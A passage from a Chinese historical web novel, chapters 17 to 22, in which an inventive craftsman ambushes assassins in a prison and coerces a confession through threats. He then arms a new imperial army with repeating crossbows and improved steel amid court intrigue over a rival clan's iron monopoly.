“别急。”谢珩呷了口水,润了润干涸的喉咙,“鱼被逼急了会跳墙,狗被逼急了,也会咬人。”
他看向陆安。
“王端现在一定很想让赵泰永远闭嘴。”
陆安脑子转了一下,立刻反应过来。
“仁兄,你的意思是……他们会去劫狱?”
“不是劫狱。”谢珩摇了摇手指,脸上露出一抹玩味的笑,“是灭口。”
他轻咳了两声,牵动了伤口,眉头微微一蹙。
“你去找陈尚书,就说我说的,天牢的防卫,外松内紧。”
“让咱们的人,换上普通狱卒的衣服,把那些连**……都藏好了。”
“记住,放他们进来,让他们找到赵泰。”
“等他们动手的时候……”谢珩顿了顿,苍白的脸上浮现出一丝狠厉。
“关门,打狗。”
“一只,都别放跑。”
……
三天后的深夜,大雪纷飞。
天牢外,一片死寂。
厚厚的积雪掩盖了所有的声音,只有几个狱卒抱着长戟,在寒风中缩着脖子来回踱步,看起来懒散至极。
暗处,十几个黑影如鬼魅般潜行,没有发出任何声响。
他们观察了许久,确认守卫不过如此。
为首的黑衣人做了个手势,几道身影如狸猫般蹿出,悄无声息地摸到那几个狱卒身后。
“噗嗤。”
几声短促的闷响,狱卒们连哼都来不及哼一声,便软软倒地。
黑衣人们动作熟练地换上狱卒的衣服,拿过钥匙,轻车熟路地打开了天牢沉重的大门。
一切都顺利得不可思议。
为首之人眼中闪过一丝轻蔑。
这就是天子脚下的天牢?不堪一击。
第17章 证人暴毙
他们很快便在最深处的牢房里找到了广陵王赵泰。
赵泰被铁链锁着,蜷缩在角落的干草堆里,像个疯子一样喃喃自语。
“别杀我……是王端……都是王端……”
黑衣人对视一眼,不再犹豫。
一人上前,抽出淬了剧毒的**,对准赵泰的心口便要刺下!
就在此时!
“咻!”
一声尖锐的破空声,从牢房外幽深的甬道中骤然响起!
那名持刀的黑衣人动作一僵,低头看去。
一支乌黑的**箭,已经洞穿了他的胸膛。
他难以置信地回头,只看到甬道两旁的阴影里,不知何时,站满了手持连**的黑衣人。
那些黑洞洞的**口,正冷冷瞄准着他们。
“不好!中计了!”为首的黑衣人惊骇欲绝,厉声大吼,“撤!”
可是,已经晚了。
“放!”
随着一声冰冷的命令。
“咻咻咻咻咻!”
密集的机括声与箭矢破空声响起。
狭窄的甬道瞬间成了屠宰场。
箭雨如蝗,泼洒而下。
黑衣人们引以为傲的身法和武艺,在这密不透风的箭雨面前,毫无用处。
惨叫声、利刃入肉声、骨骼碎裂声,此起彼伏。
不过短短十数息的功夫,战斗便已结束。
甬道里血流成河,十几具尸体横七竖八地倒在地上,每个人身上都插着数支**箭,死状凄惨。
只有为首的那个黑衣人,被特意留了活口。
他的一条腿被**箭射穿,钉在地上,动弹不得。
陆安从阴影中走出,手里还提着一把滴血的连**。
他居高临下地看着地上那个满脸惊恐的黑衣人,脸上是他自己都不习惯的冷酷。
黑衣人抬头,认出了陆安。
“是……是你!谢珩……是不是他搞的鬼?!”
陆安没回答。
他只是伸手,一把扯下了那人的面巾。
面巾下,是一张年轻而惊慌的脸。
“琅琊王氏旁氏,王愣?”陆安一字一顿。
王愣的脸,瞬间惨白如纸。
他颤抖着,从牙缝里挤出一句话。
“你们……究竟想干什么?”
陆安俯下身,在他耳边轻声开口。
“谢兄让我给你带句话。”
“他说,戏,才刚刚开始。”
天牢最深处的密室,潮湿的空气里混杂着一股子霉味。
这里是谢珩的临时审讯室。
王愣被绑在特制的刑架上,四肢被铁链拉扯,却并未受到任何皮肉之苦。
“琅琊王氏,家大业大。光是在建康城外的别业,就有三处。”
谢珩靠在一张太师椅上,跟拉家常似的讲了两句。
他面前的桌上,没有烙铁,没有皮鞭,只有一张巨大的建康舆图,和一盏昏黄的油灯。
陆安站在一旁,手里拿着笔和纸,神情紧张。
王愣抬起头,啐出一口血沫:“要杀便杀,休想从我口中得到一个字!”
“杀你?太便宜你了。”
谢珩拿起一支朱笔,在舆图上画了一个圈,圈住了城东的一片宅邸。
“王侍郎的府邸,对吧?我派人去看过,三进三出的大院子,青砖黛瓦,很气派。”
他顿了顿,又在旁边一处小点的宅院上画了个圈。
“这是你家。你妻子,还有你那个刚满五岁的儿子,叫……王宝儿?名字挺喜庆。”
王愣的身体猛地一颤。
谢珩完全没理会他的反应,自顾自地继续。
“谋逆,通敌,刺杀公主。这三条罪名,哪一条都够诛九族的。”
“不过本朝仁慈,不搞九族连坐,一般也就是父族、母族、妻族,三族共戮。”
他的朱笔在舆图上慢悠悠地划着,连接起一个个代表着府邸的标记。
“我帮你算算,琅琊王氏主家,你这一支旁系,加上你妻子的娘家……林林总总,大概八百多口人吧。”
“八百多口啊……”他拖长了音调,仿佛在感慨。
“男人,在西市口**。血流成河,头颅滚一地,堆成小山。场面一定很壮观。”
“女人和十二岁以下的男孩,充入教坊司,或者直接卖去北疆军营当营妓。”
“你儿子五岁,还没到**的年纪,大概会和他的母亲一起,被赏给哪个有功的将士吧。运气好的话,能当个贴身小厮,端茶倒水。运气不好……”
谢珩把
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笔一扔,咧嘴一笑。
“你想想看,一个曾经的世家小公子,沦落到那种地方,会被怎么对待?”
“你!”王愣目眦欲裂,喉咙里发出野兽般的低吼,疯狂挣扎起来,铁链被他挣得哗哗作响。
“别激动,伤口崩了还得我给你找大夫。”谢珩淡淡地摆了摆手。
“其实,还有个选择。”
他身体前倾,凑近了一些,压低了声音。
“你只是个听命办事的。真正的主谋,是王端,和广陵王赵泰。”
“你把所有事情,原原本本地写下来。怎么联络的,怎么谋划的,谁负责动手,谁负责接应……所有细节,一字不漏。”
“签个字,画个押。”
王愣喘着粗气,死死地瞪着他。
谢珩靠回椅背,重新恢复了那副懒散的样子。
“我呢,就拿着这份供词去找陛下。告诉他,你王愣,是污点证人,有将功赎罪之心。”
“死罪可免,活罪难逃。你本人,流放三千里。至于你的妻儿……”
他停顿了一下,观察着王愣的反应。
“……可以跟着你一起去流放。虽然苦了点,但好歹一家人能整整齐齐,活着。”
“你觉得,这笔买卖,划算吗?”
密室里,陷入了死一般的寂静。
只有王愣粗重的呼吸声。
陆安屏住呼吸,他看着谢珩,感觉后背一阵发凉。
好家伙,这个平时嘻嘻哈哈的仁兄,此刻跟变了个人似的。
没看出来谢兄还有这等能耐啊。
他没有动用任何酷刑,却用最平静的语言,一刀刀剐着对方最脆弱的神经。
终于,王愣那根紧绷的弦,断了。
“我写……”他声音沙哑。
“我全都写!”
……
半个时辰后。
陆安拿着那份写满了蝇头小楷,又按着鲜红指印的供词,激动得手都在抖。
“仁兄!有了这个,王端死定了!”
谢珩靠在椅子上,长长舒了口气。
“别高兴得太早,这东西,只能算是一把刀,能不能捅死那老狐狸,还得看陛下的决心。”
正说着,那一直低着头的王愣,身体忽然开始剧烈地抽搐。
第18章 立私军,除叛党
王愣的眼睛瞪得滚圆,嘴角,一缕黑色的血液缓缓流下,带着一股诡异的腥甜气味。
他喉咙里发出“嗬嗬”的声响,似乎想说什么,却一个字也吐不出来。
不过短短几个呼吸间,他便脑袋一歪,彻底没了声息。
“怎么回事!”
陆安大惊失色,一个箭步冲了过去,伸手就要探他的鼻息。
“别碰他!”
谢珩厉声喝止。
他强撑着站起身,走到尸体旁,忍着恶心掰开王愣的嘴。
在他的后槽牙里,有一处不自然的空洞。
“是毒。”谢珩的脸色难看到了极点,“慢发性的剧毒。”
“平时潜伏在体内,一旦情绪剧烈波动,心跳加速,血液流速加快,毒素就会在瞬间引爆,神仙难救。”
陆安呆住了,他看着手里那份还带着余温的供词,只觉得无比烫手。
“那……那这份供词……”
“废了。”谢珩一字一顿。
“一个**,还是一个刚招供就莫名死掉的证人。王端那伙人,有一万种方法可以把这份供词说成是我们屈打成招,伪造出来的。”
他一拳砸在旁边的墙壁上,伤口再次裂开,鲜血瞬间浸透了纱布。
该死!
终日打雁,今天倒被雁啄了眼。
王端那老狐狸,从派王愣来的那一刻起,就没打算让他活着回去!
……
公主府,西厢。
刘楚玉听完陆安的禀报,一脚踹翻了面前的紫檀木矮几。
“岂有此理!”
她那张美艳的脸上布满了寒霜,在房间里来回踱步。
“人证**,物证就成了废纸!皇弟那边,根本没法凭这个就动王端!”
“动不了王端,就扳不倒他背后的琅琊王氏!”
“广陵王那个老匹夫,也能借此苟延残喘!”
她越想越气,一把抓起桌上的茶杯,狠狠砸在地上。
“难道就这么算了?本宫的刺白挨了?你的伤白受了?”
谢珩靠在软榻上,婢女正小心翼翼地给他重新包扎伤口,他疼得脸部肌肉直抽抽,嘴上却还有闲心开玩笑。
“公主,别砸了,这杯子挺贵的。你要是气不过,赶明儿我给你烧一套摔不坏的。”
“本宫现在就要王端死!”刘楚玉红着眼睛,吼了一句。
“杀了他,然后呢?”谢珩忽然开口,让刘楚玉的动作顿住了。
“杀一个王端,王家会立刻推出一个新的王端。杀光王家?那朝堂上一半的官员都得跟着陪葬,你信不信?”
他示意陆安将那张建康舆图拿过来,铺在自己面前。
“你那皇帝弟弟,现在坐的不是龙椅,是一座危楼。”
“王氏、广陵王,还有其他大大小小的世家门阀,就是撑着这座危楼的柱子。”
“虽然这些柱子已经烂了,蛀了,可你要是现在一斧子砍断其中最粗的一根……”
谢珩没再说下去,但意思不言而喻。
楼,会塌。
刘楚玉的胸口剧烈起伏,她不是不懂这个道理,只是不甘心。
“那怎么办?就这么眼睁睁看着他们逍遥法外?”
“谁说要看着了?”谢珩扯了扯嘴角。
他用没受伤的手,在舆图上重重一点。
点的不是任何一座府邸,而是城外的大营。
“他们有他们的规矩,我们可以不跟他们玩。”
他抬起头,看着刘楚玉。
“公主,你觉得,这天下,到底是谁说了算?”
刘楚玉一愣。
“自然是皇帝。”
“不对。”谢珩摇了摇头,“是拳头大的说了算。”
“世家门阀的拳头,是他们盘根错节的人脉和根基。你弟弟的拳头,是他的皇位和名分。可现在,他的拳头不够硬,打不破他们的乌龟壳。”
“所以,我们得给他换一个拳头。”
谢珩的手指,从大营,划向了工部衙门,最后停在了他那个烟熏火燎的后院工地上。
“一个用钢铁铸成的,无坚不摧的拳头。”
皇权衰微,那就用军权来补。
朝堂腐朽,那就用铁与血来洗。
“公主,”他咧嘴一笑,尽管脸色苍白,笑容却带着几分卖关子。
“想不想看看,当数万大军换上我造的新刀新甲,用上我造的连**炮车时,王端那帮老家伙,会是什么
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表情?”
第二天,西厢别院涌起一股子松油和铁屑的气味。
僵持的局面,反而能让谢珩猥琐发育。
广陵王和王端动不了他,他也暂时奈何不了那帮盘根错节的老狐狸。
这种微妙的平衡下,公主府的后院,彻底沦为了一个烟熏火燎的研发中心。
刘楚玉捏着鼻子,看着那个浑身脏兮兮,趴在一堆图纸里的男人,伤口刚好利索没几天,人看着倒比受伤时还憔悴几分。
“你迟早要死在这堆破铜烂铁上。”
谢珩头也没抬,右手飞快地在竹简上勾勒着复杂的机括结构。
“死在它们身上,总好过死在那些老阴比手里。”
“你那张嘴,再不积点德,本宫就给你缝上。”刘楚玉一脚踢开地上一块报废的齿轮零件。
“公主,积德没用,得积攒实力。”
谢珩终于直起身,揉了揉酸痛的脖子,“要让敌人痛苦,就得让他们在自己最擅长的领域输得一败涂地。”
刘楚玉哼了一声没再说话,只是让婢女将一盅参汤放在了他手边。
她看不懂那些图纸但她看得懂谢珩眼里的光。
那是一种她从未在任何世家子弟眼中见过的光芒。
……
御书房。
赵元稷屏退了所有内侍只留下他和谢珩两人。
他看着谢珩呈上来的东西,准确地说,是一卷图纸和一件样品。
那是一具小巧的钢臂**,通体闪烁着乌沉沉的金属光泽,造型和他见过的所有军**都截然不同。
“这就是你这半个月不眠不休搞出来的东西?”
“一个玩具。”谢珩拍了拍**身,“陛下可以试试。”
赵元稷将信将疑地拿起那具钢**,比想象中要沉重许多。
他学着谢珩的演示用一个手摇的机括轻松上弦,整个过程几乎不费什么力气。
“这……寻常军**上弦需用腰腹之力,非壮士不可为。你这个竟如此轻松?”
“小改进而已。”谢珩指了指**臂,“臂身换成了我新炼的弹簧钢,韧性极佳。上弦用了齿轮省力之法,一个普通士卒训练半日便可熟练操作。”
第19章 禁军遇阻力
赵元稷的呼吸有些急促。
谢珩又从一个木盒里取出一排小巧的**箭,卡入**身上的一个凹槽。
“一次可装填十支,射速是寻常**手的三倍以上。”
“威力呢?”赵元稷的声音有些发颤。
“百步之内,可穿透我朝最优良的玄铁甲。”谢珩的语气平淡。
赵元稷的手猛地一抖。
百步穿甲!
他几乎是抢一般地夺过钢**,冲到窗边,对着院子里一块用于装饰的太湖石假山,扣动了**。
“咻!”
一声短促尖锐的破空声响起。
远处假山上,碎石飞溅,那支乌黑的**箭,竟是深深地钉入了坚硬的岩石之中,只留下一个颤抖的箭羽。
御书房内死一般的寂静。
“哈哈……哈哈哈哈!”
赵元稷忽然爆发出一阵狂笑,他抱着那具钢**像抱着什么绝世珍宝,“好!好一个百步穿甲!好一个神兵利器!”
他冲回案前一把抓住谢珩的胳膊,双目放光。
“此物可需大量钱粮?”
“陛下,这东西想装备全军怕是要把国库搬空。”谢珩给他泼了盆冷水。
赵元稷的狂喜冷却了几分,眉头紧锁。
“国库……确实吃紧。”
王氏**把控吏部财部,处处掣肘,他这个皇帝当得憋屈。
“但提升军力乃国之头等大事!无论如何朕也要……”
“陛下。”谢珩打断了他。
“您想不想,拥有一支真正属于您自己的军队?”
赵元稷愣住了。
谢珩凑近一步,压低了声音。
“一支三千人的军队。”
“由我亲自挑选,用最严酷的方式操练。”
“他们吃的,是最好的军粮。他们穿的,是最坚固的铠甲。他们用的,就是您手上这把钢**,还有比这更可怕的杀器。”
“他们不听将军号令,不认兵部调遣。他们的眼中,只有您。他们的信仰,只有皇权。”
“一支,只听命于天子的,神策军。”
赵元稷的瞳孔,剧烈地收缩了一下。
他仿佛已经看到,一支装备精良、战无不胜的铁军。
他这个天子,将不再是一个被架空的傀儡。
可那份狂喜只持续了短短一瞬,便被更深的忧虑所取代。
他松开谢珩的胳膊,颓然地坐回龙椅上,脸上的血色褪得干干净净。
“谢珩,你知不知道你在说什么?”
“我知道。”
“不,你不知道!”赵元稷猛地一拍龙案,“组建新军,调拨钱粮,授予你统兵之权……如此大事,你以为是朕下一道圣旨就能办成的吗?”
他站起身,烦躁地在殿内来回踱步。
“此事一旦拿到朝会上,会掀起多大的风浪?你根本无法想象!”
“王端那伙人,会立刻跳出来,说朕要另立私军,图谋不轨!”
“御史台那帮言官,会哭天抢地,说朕耗空国库,是**之兆!”
“那些世代将门的勋贵,会联合起来,**你一个白身凭何掌兵!”
他的声音越来越大,却带着满满的不甘。
“整个朝堂,都会跟朕作对!他们会用祖宗规矩,用国之体统,用天下安稳来压朕!”
“朕这个皇帝,连换一把新**,都要看他们的脸色!”
谢珩静静地听着,也在思索。
等赵元稷发泄完了,他才慢悠悠地开口。
“所以,陛下的意思是……”
“这大虞的江山,究竟是您说了算,还是那帮臣子说了算?”
赵元稷的脚步,猛地顿住。
他豁然转身,死死地盯着谢珩。
那句话,狠狠地扎在了他的软肋上。
第二日,金銮殿内。
赵元稷坐在龙椅上,面前的龙案上,摆着那具小巧而致命的钢臂**。
他的手指,无意识地在光滑的**身上摩挲着。
底下,文武百官垂首肃立,却暗流汹涌。
吏部侍郎王端率先出列,他手持玉笏,躬身行礼。
“陛下,臣听闻,近日公主府的巧匠谢珩,竟向陛下献上私建禁军之策?”
“一个工匠,无官无职,竟敢妄议军国大事,染指京畿兵权!臣以为,其心可诛!”<
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br>赵元稷的手指猛地顿住。
“王侍郎。”
谢珩的声音从殿外传来。
他穿着一身工部发的青色官服,施施然走了进来,身后跟着面色凝重的工部尚书陈大人。
谢珩走到殿中,对着龙椅上的赵元稷拱了拱手,然后转向王端。
“我只是一介白身,说的东西,陛下可以听也可以不听。”
“王侍郎反应如此激烈,是怕我抢了你的饭碗,还是怕我造的东西比你的人好用?”
“放肆!”王端身后,一名御史立刻跳了出来,“区区竖子,也敢在朝堂之上与吏部侍郎如此说话!”
“巧言令色,蛊惑君上,豢养私兵,此乃取乱之道!请陛下将此獠拿下,明正典刑!”
“臣附议!京畿之地,岂容他人安插私军!”
“我琅琊王氏镇守国门,门下子弟在边关抛头颅洒热血,也未曾有过这般殊荣!”
“他一个工匠,何德何能!”
呼啦啦一大片官员跪了下去,矛头直指谢珩。
他们不是在**谢珩,他们是在警告皇帝。
赵元稷气得胸口发闷,他想拍案而起,可看着下面跪倒的一片那些盘根错节的势力,他感觉自己的皇权被一张无形的大网死死捆住。
“王侍郎的意思是,我大虞的兵只能由你王家的人来当?”谢珩忽然笑了起来。
“边关将士浴血奋战我敬佩。可他们手里的刀砍不断北狄的甲。他们身上的甲挡不住胡人的箭。”
他上前一步,声音陡然拔高。
“我能让他们手里的刀削铁如泥!我能让他们身上的甲刀枪不入!我能让一个手无缚鸡之力的文弱书生也能用连**百步穿杨!”
“你们呢?”他环视那群跪着的官员。
“你们除了会在这里跪下用祖宗规矩当挡箭牌,还会做什么?”
“你!”王端被他这番话噎得脸色涨红。
这小子不止是个工匠,还是个疯子!
他竟敢把整个世家门阀都拉下水!
“妖言惑众!”王端厉声喝断,“陛下,此人巧舌如簧欲动摇国本,绝不可信!”
第20章 核心技术泄露敌国?
赵元稷正要开口,殿外忽然传来一阵急促的脚步声。
一名身披风雪的信使连滚带爬地冲进大殿,高举着一份火漆封口的急报。
“八百里加急!北境急报!”
所有人的争吵戛然而止。
内侍匆忙接过急报呈到赵元稷面前。
赵元稷拆开信封,只看了一眼,他整个人便僵住了。
殿内,落针可闻。
许久,他才缓缓抬起头,那双眸子里,此刻是一种骇人的平静。
他把那份战报,扔到了王端面前。
“王侍郎,你不是说我大虞边防固若金汤吗?你自己看看。”
王端疑惑地捡起战报,展开一看,脸色瞬间剧变。
“北狄三千骑兵犯境,攻我雁门关。我军虽拼死击退,但……但……”
“但是什么?”谢珩追问。
“但北狄所用弯刀,其锋利程度,远胜从前!竟能轻易劈开我朝边军的铁甲!”王端的声音都在发颤。
战报的末尾,还附了一块从战场上带回来的弯刀残片。
那乌沉沉的金属光泽,那独特的锻打纹路……
工部尚书陈大人失声惊呼:“这……这不就是谢公子的炒钢之法!”
轰!
整个金銮殿,哗然了一刹。
所有人的表情都凝固了。
技术外流!
还是最核心的军事技术!
这比打了败仗,还要可怕一万倍!
但王端的眼神突变,似乎在琢磨什么鬼点子。
下一刻,他猛地跪下,痛心疾首。
“陛下!定是谢珩此獠,私通外敌,**求荣!否则,北狄何以得此神兵利器!”
“请陛下立刻彻查公主府,并将谢珩打入天牢!”
他反应极快,立刻将自己从“反对加强军备”的尴尬境地,转变成了“捉拿**”的忠臣。
“没错!定是此獠所为!”
“请陛下严惩**!”
方才那群人,又找到了新的攻击方向。
“够了!”
一声清冷的呵斥,从殿外传来。
刘楚玉一袭华贵的宫装,缓步走入大殿。
她没有看任何人,径直走到赵元稷身边。
“皇弟。”
她仅一句话便让殿内再次安静下来。
“王侍郎真是好算计。”
刘楚玉拿起那份战报,轻轻吹了吹上面的灰尘。
“前脚刚说完大虞边防稳固,后脚就想把技术外流的帽子,扣在一个一心为国的工匠头上。”
她转向王端,嘴角勾起一抹讥讽。
“本宫倒想问问,负责边防军械采买与督造的,是哪个部门?负责与北地铁矿贸易的,又是谁家的商队?”
王端的脸色,瞬间惨白。
这两件事,都绕不开他琅琊王氏的影子。
他强自镇定:“公主殿下,此时当务之急,是增兵边境,以防北狄再次来犯!至于彻查之事,可容后再议!”
他这是要转移焦点,顺便把兵权拿到手。
“臣以为,当立刻从京畿大营抽调五千精锐,由我儿王七郎率领,驰援雁门关!”
好一招金蝉脱壳!
赵元稷气得浑身发抖,却又无从反驳。
“皇弟。”刘楚玉忽然开口,她轻轻按住赵元稷的手。
“你现在知道,为什么一定要有自己的刀了吗?”
“因为有些蛀虫,不但想蛀空你的房子,还想拿走你的刀,去守他们自己的粮仓。”
她的话像一根针,狠狠扎进赵元稷的心里。
赵元稷缓缓站起身。
他走下御阶,一步一步,走到谢珩面前。
在满朝文武惊骇的注视下,他亲自扶起了谢珩。
“朕的巧匠,受委屈了。”
他转过身,面向所有大臣,声音如雷。
“传朕旨意!”
“即刻起,于京郊另设军府,组建新军,赐名神策军!员三千,归属禁中,不入兵部名册!”
“所有军械,由公主府督造,谢珩总领其事!”
整个大殿顿时死寂。
“退场!”
不等众人有所反应,赵元稷一挥手紧急结束了这场分歧。
接下来的公主府,西厢别院内。
那块从北境战场带回来的弯刀残片,被随意地扔在谢珩面前的桌案上。
刘楚玉坐在一旁,纤纤玉指捏着一枚白玉棋子,有一搭没一搭地
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敲着棋盘。
“怎么样?看出什么门道了?”
谢珩没急着回,他只是用一根铁钳夹起那块残片,凑到烛火下仔细端详。
残片上的锻打纹路很粗糙,像是学徒赶工出来的劣质品,但其中蕴含的钢材肌理,却让他有种莫名的熟悉感。
这不就是他那套土法高炉炒钢的简化版吗?
偷师都偷不明白,连最关键的渗碳和控温都搞得一塌糊涂。
“公主殿下放心,他们鸡毛都没学到。”谢珩放下铁钳,下了结论。
刘楚玉的动作一顿。
“就这?”
“就这。”
谢珩靠回椅背,“他们只学到了形,没学到神。这种刀,砍几个没见过世面的边军还行,真要对上重甲,就是卷刃的命。”
“所以,王端提议的增兵,根本就是个幌子?”刘楚玉瞬间明白了。
“他不是蠢,是坏。”
“他想借着这个由头,把他儿子和王家的私兵安插到边境去,名正言顺地扩大兵权。”
谢珩拿起桌上的茶杯,喝了一口,“至于技术外泄这口黑锅,谁离得最近,谁就背着。”
刘楚玉捏碎了手里的棋子,白玉粉末从她指缝间簌簌落下。
“这帮蛀虫。”
……
御书房内。
赵元稷听完谢珩的汇报,整个人都松弛下来,但随即更深的怒火涌上心头。
他堂堂大虞天子竟被臣子**于股掌之间。
“好一个琅琊王氏!好一个王端!”
赵元稷一拳砸在龙案上。
“皇弟。”刘楚玉不知何时也进了御书房,她挥手屏退了所有内侍。
她走到赵元稷身边捡起那块弯刀残片。
“现在你看到了?你手里的刀不够快。你的臣子心思又太快。”
“你想用他就得给他最好的。你想让他为你做事就得让他没有后顾之忧。”
刘楚玉把那残片扔回桌上,发出清脆的响声。
“神策军的特权你必须给。不是给他谢珩而是给你自己。”
赵元稷看着自己的皇姐又看了看旁边一脸无辜的谢珩,最终他咬了咬牙。
“朕,准了。”
第21章 琅琊王氏串通叛乱
赵元稷提笔写下一道手谕,盖上私印。
“从今日起,神策军军府事宜谢珩可全权处置,所需钱粮匠人兵员等,三司六部不得有误,违者如谋逆论处!”
这道手谕不是圣旨,却比圣旨更重。
它绕过了整个朝堂,是天子给予的最直接的信任与权力。
王端听闻此讯时正在府中与兵部尚书密谈。
他捏着茶杯的手猛地一紧,滚烫的茶水洒出他却毫无所察。
“他怎么敢!”
兵部尚书面露难色:“王侍郎,这……陛下给了特权,绕开了兵部,我们之前安排好的人,怕是派不进去了。”
王端将茶杯重重往桌上一顿,脸上青气浮现。
他千算万算,没算到皇帝竟敢如此行事。
“无妨。”王端很快冷静下来,“一个白身工匠,带着一群乌合之众,能练出什么兵来?不过是些拿着新奇玩具的农夫罢了。”
“由他去折腾,看着便是。”
“本官倒要看看,他能玩出什么花样!”
……
京郊,神策军大营。
这里曾经是一片皇家围场,如今被圈出来,成了谢珩的地盘。
两百名新兵被挑选出来,他们大多是京畿卫戍部队里最没背景最不受待见的刺头。
此刻他们被分成两列,泾渭分明地站在校场上。
左边一百人穿着禁军制式的旧皮甲,手里拿着三米长的木杆长矛和牛角短弓。
右边一百人则表情古怪地打量着发到手里的新装备。
乌黑发亮的钢臂**,比军**小巧却沉甸甸的,结构复杂。
还有一柄直背长刀,刀身狭长通体黝黑,连刀鞘都是黑的,透着一股不祥的气息。
谢珩穿着一身便服懒洋洋地站在高台上,旁边是陆安和陈尚书。
“仁兄,这能行吗?对面可都是禁军里的老兵油子,一个能打咱们这边三个。”
陆安看着那群歪瓜裂枣的新兵,心里直打鼓。
“陆兄你就瞧好吧,打仗不是街头斗殴。”谢珩打了个哈欠。
他拿起一个铁皮喇叭对着下面喊话。
“都听好了!”
“左边的,你们的任务是在一炷香内冲到我这个台子下面,就算你们赢。”
“右边的,”他看向那些拿着新装备的刺头,“你们的任务是让他们一个都冲不过来。”
旧禁军那边发出一阵哄笑。
“就凭这帮新兵蛋子?”
“还有那些没见过的破烂玩意儿?”
“兄弟们,给他们点颜色看看!”
高台下一名军官点燃了立在场中的信香。
“开始!”
旧装备组的老兵们发出一声呐喊,举着长矛排成密集的冲锋阵型,如同一堵移动的墙朝着高台压了过来。
气势十足,杀气腾腾。
右边的新兵们明显有些慌乱,握着钢**的手都在抖。
“慌什么!”谢珩的声音通过铁皮喇叭传遍全场,“还记得我怎么教你们的吗?”
“第一排,举**!”
“不用瞄准!对着前面那片人就行!”
“放!”
新兵们手忙脚乱地扣动**。
“咻咻咻咻咻!”
没有想象中的惊天动地,只有一阵密集的、撕裂空气的尖啸。
一百支**箭,在空中汇成一片乌云,兜头盖脸地朝着正在冲锋的旧禁军阵型砸了下去。
冲在最前面的老兵们,脸上还带着不屑的笑容。
他们下意识地举起手臂,想用臂甲格挡。
在他们看来,这点距离,寻常弓箭连他们的皮甲都射不穿。
然而。
“噗!噗!噗!”
利箭入肉的声音连成一片,密集得让人头皮发麻。
那些他们引以为傲的皮甲、臂盾,在乌黑的**箭面前,脆弱得如同纸糊的一般。
惨叫声瞬间响彻云霄。
一个照面,冲在最前面的三排老兵,便倒下了一大片。
整个冲锋阵型,硬生生被撕开了一个巨大的口子。
后面的人吓得肝胆俱裂,冲锋的势头戛然而止。
“第二排,放!”
又是一片尖啸声。
“第三排,放!”
三轮齐射,不过十几个呼吸的功夫。
刚才还气势汹汹的百人冲锋阵,此刻已经七零八落,地上躺满了哀嚎的伤兵。
所有人都被打蒙了。
不管是场上的士兵,还是高台上的
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陆安和陈尚书。
“仁兄,这……你该不会懂得妖法吧?”陆安结结巴巴地开口。
谢珩甩给他一个拭目以待的笑容,继续用喇叭喊话。
“现在,轮到你们了。”
“拔刀!”
右边的新兵们,此刻看着手里的武器,仿佛在看什么神物。
他们士气大振,齐刷刷抽出那柄乌黑的长刀,发出一声震天的呐喊,朝着已经溃不成军的对手反冲了过去。
一名老兵不信邪,举起手中的长矛,狠狠刺向一名冲来的新兵。
新兵下意识地横刀格挡。
“锵!”
一声脆响。
那根坚韧的木杆长矛,应声而断,断口平滑如镜。
老兵呆呆地看着手中断成两截的武器,还没反应过来,那柄黑刀已经架在了他的脖子上。
“你输了。”
整个校场,只剩下兵器断裂和对手投降的声音。
那一百名老兵,被彻底碾压。
谢珩扔掉喇叭,伸了个懒腰。
“收工。”
……
琅琊王氏府邸,书房。
香炉里燃着上等的沉水香,烟气袅袅。
吏部侍郎王端,正与兵部尚书对坐品茗,举手投足间,是百年门阀浸润出的从容。
一名管事匆匆而入,附在王端耳边低语了几句。
王端端着茶盏的手,稳如磐石。
“慌什么。”
他呷了口茶,将茶盏轻轻放下。
“神策军的锻炉,停了?”
兵部尚书凑了过来,脸上带着急切。
“停了。”管事连忙回答,“城中所有售卖精铁矿的商铺,一夜之间,价格翻了三倍。几家最大的铁行,都说没货了。”
兵部尚书抚掌而笑。
“王兄高明!釜底抽薪!那谢珩就算有通天之能,没有米,他也做不成饭!”
王端脸上露出一抹淡笑。
一个黄口小儿,也敢在他经营了数十年的建康城里,跟他斗?
天真。
他要让那小子和公主府知道,技术,在绝对的资源垄断面前,一文不值。
“派人盯紧公主府和京郊大营,本官要看看,那不可一世的朝阳公主,什么时候会来求我。”
第22章 起兵进攻雁门关
京郊,神策军大营。
平日烟熏火燎的锻造工坊内,此刻却气氛僵硬。
几十名工匠围着几座熄了火的土高炉唉声叹气。
陆安急得像热锅上的蚂蚁,在谢珩身边来回打转。
“仁兄,这可怎么办啊!全城的铁料都被王端那老匹夫垄断了!价格高得离谱不说,人家根本不卖给我们!”
“咱们账上那点钱连买三天份的料都不够!”
谢珩正蹲在一堆黑乎乎的矿石前用小锤子敲敲打打,闻言头也没抬。
“那个老阴比也算计谋用尽了,不急。”
陆安简直要给他跪下了。
“这还不急?三天后就是陛下要来检阅的日子!”
“咱们的大部分新兵还穿着破烂,手里拿的还是木棍!到时候拿什么给陛下去看?看咱们这堆废铁吗?”
他指着谢珩脚边那堆品相极差的褐铁矿,气不打一处来。
这些都是从周边山里挖来的废矿,杂质多品相差,送给铁匠铺都嫌占地方。
谢珩站起身拍了拍手上的灰。
“陆兄淡定,谁说这是废铁了?”
他踢了一脚那堆矿石。
“在我眼里这都是宝贝。”
工部的陈尚书也闻讯赶来,看到这番景象一张老脸皱成了苦瓜。
“谢公子,老夫知道你有奇思妙想,可这……这无米之炊巧妇也难为啊!”
“陈大人,”谢珩咧嘴一笑,“谁说我没米了?我这不是打算换个锅嘛。”
他捡起一块褐铁矿在手里抛了抛。
“王端以为他捏住了我们的咽喉。”
“他太小看我了也太小看科学了。”
他转身对着那群愁眉苦脸的工匠一挥手。
“都别闲着了!把炉子给我重新烧起来!按我昨天给你们的新图纸,改炉膛,加风箱!”
“今天,我教你们一手绝活。”
“灌钢法。”
工匠们面面相觑,灌钢法?闻所未闻。
陆安和陈尚书也是一脸茫然。
“仁兄,这靠谱吗?”
“包的,我什么时候吹过牛。”
谢珩挽起袖子,亲自跳上高炉的基座。
“都看好了!王端想让我们停摆,我们偏要三天之内,把所有装备都给他补齐了!”
“不但要补齐,我还要让他看看,什么叫降维打击!”
炉火,重新熊熊燃烧起来。
整个工坊,再次变得热火朝天。
只是这一次,所有人心里都悬着一块石头。
他们看着谢珩指挥工匠将那些“废矿”投入炉中,又将烧红的生铁水,以一种奇异的方式,灌入熔化的熟铁液里。
两种铁液交融,在炉中发出滋滋的声响,迸溅出绚烂的火星。
那场面,不像是炼钢,更像是在倒腾什么神秘的炼金术。
刘楚玉赶到时,看到的就是这样一幅景象。
她捏着鼻子,一脸嫌弃地走到谢珩身边。
“本宫的内帑,不是给你拿来烧着玩的。”
